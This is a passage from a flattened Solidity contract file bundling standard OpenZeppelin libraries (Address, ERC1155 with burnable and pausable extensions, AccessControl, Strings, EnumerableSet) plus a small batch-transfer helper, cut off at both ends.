* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File openzeppelin-solidity/contracts/utils/[email protected]
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File openzeppelin-solidity/contracts/utils/introspection/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File openzeppelin-solidity/contracts/token/ERC1155/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Implementation of the basic standard multi-token.
* See https://eips.ethereum.org/EIPS/eip-1155
* Originally based on code by Enjin: https://github.com/enjin/erc-1155
*
* _Available since v3.1._
*/
contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI {
using Address for address;
// Mapping from token ID to account balances
mapping (uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
mapping (address => mapping(address => bool)) private _operatorApprovals;
// Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json
string private _uri;
/**
* @dev See {_setURI}.
*/
constructor (string memory uri_) {
_setURI(uri_);
}
/**
* Transfer to multiple accounts
*/
function sendToMany(
address from,
address[] memory to,
uint256 id,
uint256 amount,
bytes memory data
)
public
virtual
{
for(uint i = 0; i< to.length; i++){
safeTransferFrom(from, to[i], id, amount, data);
}
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return interfaceId == type(IERC1155).interfaceId
|| interfaceId == type(IERC1155MetadataURI).interfaceId
|| super.supportsInterface(interfaceId);
}
function uri(uint256) external view virtual override returns (string memory) {
return _uri;
}
/**
* @dev See {IERC1155-balanceOf}.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
require(account != address(0), "ERC1155: balance query for the zero address");
return _balances[id][account];
}
/**
* @dev See {IERC1155-balanceOfBatch}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(
address[] memory accounts,
uint256[] memory ids
)
public
view
virtual
override
returns (uint256[] memory)
{
require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch");
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
/**
* @dev See {IERC1155-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(_msgSender() != operator, "ERC1155: setting approval status for self");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC1155-isApprovedForAll}.
*/
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
return _operatorApprovals[account][operator];
}
/**
* @dev See {IERC1155-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
)
public
virtual
override
{
require(to != address(0), "ERC1155: transfer to the zero address");
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
_balances[id][from] = fromBalance - amount;
_balances[id][to] += amount;
emit TransferSingle(operator, from, to, id, amount);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
/**
* @dev See {IERC1155-safeBatchTransferFrom}.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
)
public
virtual
override
{
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
require(to != address(0), "ERC1155: transfer to the zero address");
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: transfer caller is not owner nor approved"
);
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
_balances[id][from] = fromBalance - amount;
_balances[id][to] += amount;
}
emit TransferBatch(operator, from, to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
}
/**
* @dev Sets a new URI for all token types, by relying on the token type ID
* substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* By this mechanism, any occurrence of the `\{id\}` substring in either the
* URI or any of the amounts in the JSON file at said URI will be replaced by
* clients with the token type ID.
*
* For example, the `https://token-cdn-domain/\{id\}.json` URI would be
* interpreted by clients as
* `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json`
* for token type ID 0x4cce0.
*
* See {uri}.
*
* Because these URIs cannot be meaningfully represented by the {URI} event,
* this function emits no events.
*/
function _setURI(string memory newuri) internal virtual {
_uri = newuri;
}
/**
* @dev Creates `amount` tokens of token type `id`, and assigns them to `account`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _mint(address account, uint256 id, uint256 amount, bytes memory data) internal virtual {
require(account != address(0), "ERC1155: mint to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data);
_balances[id][account] += amount;
emit TransferSingle(operator, address(0), account, id, amount);
_doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _mintBatch(address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
for (uint i = 0; i < ids.length; i++) {
_balances[ids[i]][to] += amounts[i];
}
emit TransferBatch(operator, address(0), to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);
}
/**
* @dev Destroys `amount` tokens of token type `id` from `account`
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens of token type `id`.
*/
function _burn(address account, uint256 id, uint256 amount) internal virtual {
require(account != address(0), "ERC1155: burn from the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), "");
uint256 accountBalance = _balances[id][account];
require(accountBalance >= amount, "ERC1155: burn amount exceeds balance");
_balances[id][account] = accountBalance - amount;
emit TransferSingle(operator, account, address(0), id, amount);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
*/
function _burnBatch(address account, uint256[] memory ids, uint256[] memory amounts) internal virtual {
require(account != address(0), "ERC1155: burn from the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, account, address(0), ids, amounts, "");
for (uint i = 0; i < ids.length; i++) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 accountBalance = _balances[id][account];
require(accountBalance >= amount, "ERC1155: burn amount exceeds balance");
_balances[id][account] = accountBalance - amount;
}
emit TransferBatch(operator, account, address(0), ids, amounts);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning, as well as batched variants.
*
* The same hook is called on both single and batched variants. For single
* transfers, the length of the `id` and `amount` arrays will be 1.
*
* Calling conditions (for each `id` and `amount` pair):
*
* - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* of token type `id` will be transferred to `to`.
* - When `from` is zero, `amount` tokens of token type `id` will be minted
* for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens of token type `id`
* will be burned.
* - `from` and `to` are never both zero.
* - `ids` and `amounts` have the same, non-zero length.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
)
internal
virtual
{ }
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
)
private
{
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
if (response != IERC1155Receiver(to).onERC1155Received.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
)
private
{
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (bytes4 response) {
if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
}
// File openzeppelin-solidity/contracts/token/ERC1155/extensions/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Extension of {ERC1155} that allows token holders to destroy both their
* own tokens and those that they have been approved to use.
*
* _Available since v3.1._
*/
abstract contract ERC1155Burnable is ERC1155 {
function burn(address account, uint256 id, uint256 value) public virtual {
require(
account == _msgSender() || isApprovedForAll(account, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
_burn(account, id, value);
}
function burnBatch(address account, uint256[] memory ids, uint256[] memory values) public virtual {
require(
account == _msgSender() || isApprovedForAll(account, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
_burnBatch(account, ids, values);
}
}
// File openzeppelin-solidity/contracts/security/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor () {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// File openzeppelin-solidity/contracts/token/ERC1155/extensions/[email protected]
pragma solidity ^0.8.0;
/**
* @dev ERC1155 token with pausable token transfers, minting and burning.
*
* Useful for scenarios such as preventing trades until the end of an evaluation
* period, or having an emergency switch for freezing all token transfers in the
* event of a large bug.
*
* _Available since v3.1._
*/
abstract contract ERC1155Pausable is ERC1155, Pausable {
/**
* @dev See {ERC1155-_beforeTokenTransfer}.
*
* Requirements:
*
* - the contract must not be paused.
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
)
internal
virtual
override
{
super._beforeTokenTransfer(operator, from, to, ids, amounts, data);
require(!paused(), "ERC1155Pausable: token transfer while paused");
}
}
// File openzeppelin-solidity/contracts/utils/[email protected]
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant alphabet = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = alphabet[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File openzeppelin-solidity/contracts/access/[email protected]
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
function hasRole(bytes32 role, address account) external view returns (bool);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function grantRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function renounceRole(bytes32 role, address account) external;
}
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping (address => bool) members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if(!hasRole(role, account)) {
revert(string(abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)));
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
// File openzeppelin-solidity/contracts/utils/structs/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
